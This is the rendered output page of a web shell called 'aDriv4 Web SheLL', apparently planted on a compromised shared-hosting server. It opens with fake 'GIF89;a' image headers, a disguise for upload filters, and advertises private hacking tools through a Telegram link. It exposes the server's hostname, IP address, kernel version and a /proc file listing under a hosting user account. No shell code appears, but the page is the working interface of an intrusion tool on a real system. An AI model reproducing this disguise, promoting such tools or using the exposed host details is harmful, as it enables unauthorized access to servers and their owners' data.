GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium155.web-hosting.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
 LiteSpeed
 162.0.235.200
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2026-01-22 09:15:47
.. dir - root/root 0755 2025-08-05 08:42:14
153419 dir - easyjnaq/easyjnaq 0555 2026-02-11 08:37:19
153420 dir - easyjnaq/easyjnaq 0555 2026-02-11 08:37:19
153428 dir - easyjnaq/easyjnaq 0555 2026-02-11 08:37:19
153486 dir - easyjnaq/easyjnaq 0555 2026-02-11 08:37:20
160758 dir - easyjnaq/easyjnaq 0555 2026-02-11 08:39:08
162781 dir - easyjnaq/easyjnaq 0555 2026-02-11 08:39:45
acpi dir - root/root 0555 2026-01-22 09:15:53
bus dir - root/root 0555 2026-01-22 09:16:01
driver dir - root/root 0555 2026-02-11 08:39:09
fs dir - root/root 0555 2026-01-22 09:16:01
irq dir - root/root 0555 2026-01-22 09:16:01
lve dir - root/root 0555 2026-02-11 08:38:06
net link - easyjnaq/easyjnaq 0555 2026-02-11 08:39:45
scsi dir - root/root 0555 2026-01-22 09:16:01
self link - easyjnaq/easyjnaq 0555 2026-02-11 08:39:45
sys dir - root/root 0555 2026-01-22 09:15:50
sysvipc dir - root/root 0555 2026-02-11 08:39:09
thread-self link - easyjnaq/easyjnaq 0555 2026-02-11 08:39:45
tty dir - root/root 0555 2026-02-11 08:39:09
buddyinfo 0 B root/root 0444 2026-02-11 08:39:09
cgroups 0 B root/root 0444 2026-02-11 08:39:09
cmdline text/plain 0 B root/root 0444 2026-02-11 08:38:11
consoles 0 B root/root 0444 2026-02-11 08:39:09
cpuinfo text/plain 0 B root/root 0444 2026-02-11 08:38:47
crypto 0 B root/root 0444 2026-02-11 08:39:09
devices 0 B root/root 0444 2026-02-11 08:39:09
diskstats 0 B root/root 0444 2026-02-11 08:38:59
dma 0 B root/root 0444 2026-02-11 08:39:09
execdomains 0 B root/root 0444 2026-02-11 08:39:09
fb 0 B root/root 0444 2026-02-11 08:39:09
filesystems text/plain 0 B root/root 0444 2026-02-11 08:38:47
interrupts 0 B root/root 0444 2026-02-11 08:39:09
iomem 0 B root/root 0444 2026-02-11 08:39:09
ioports 0 B root/root 0444 2026-02-11 08:39:09
kallsyms 0 B root/root 0444 2026-01-22 09:16:01
kcore 128 TB root/root 0400 2026-01-22 09:15:53
key-users 0 B root/root 0444 2026-02-11 08:39:09
keys 0 B root/root 0444 2026-02-11 08:39:09
kmsg 0 B root/root 0400 2026-02-11 08:39:09
kpagecgroup 0 B root/root 0400 2026-02-11 08:39:09
kpagecount 0 B root/root 0400 2026-02-11 08:39:09
kpageflags 0 B root/root 0400 2026-02-11 08:39:09
loadavg text/plain 0 B root/root 0444 2026-02-11 08:38:49
locks 0 B root/root 0444 2026-02-11 08:39:09
mdstat 0 B root/root 0444 2026-02-11 08:39:09
meminfo text/plain 0 B root/root 0444 2026-02-11 08:38:59
misc 0 B root/root 0444 2026-02-11 08:39:09
modules 0 B root/root 0444 2026-02-11 08:39:09
mounts text/plain 0 B easyjnaq/easyjnaq 0444 2026-02-11 08:39:45
mtrr 0 B root/root 0644 2026-01-22 09:16:01
pagetypeinfo 0 B root/root 0400 2026-02-11 08:39:09
partitions 0 B root/root 0444 2026-02-11 08:39:09
sched_debug 0 B root/root 0444 2026-02-11 08:39:09
schedstat 0 B root/root 0444 2026-02-11 08:39:09
slabinfo 0 B root/root 0400 2026-02-11 08:39:09
softirqs 0 B root/root 0444 2026-02-11 08:39:09
stat text/plain 0 B root/root 0444 2026-02-11 08:38:46
swaps 0 B root/root 0444 2026-01-22 09:15:50
sysrq-trigger 0 B root/root 0200 2026-01-22 09:16:01
timer_list 0 B root/root 0400 2026-02-11 08:39:09
uptime text/plain 0 B root/root 0444 2026-02-11 08:38:07
version text/plain 0 B root/root 0444 2026-02-11 08:39:09
vmallocinfo 0 B root/root 0400 2026-02-11 08:39:09
vmstat 0 B root/root 0444 2026-02-11 08:38:59
zoneinfo 0 B root/root 0444 2026-02-11 08:39:09
© aDriv4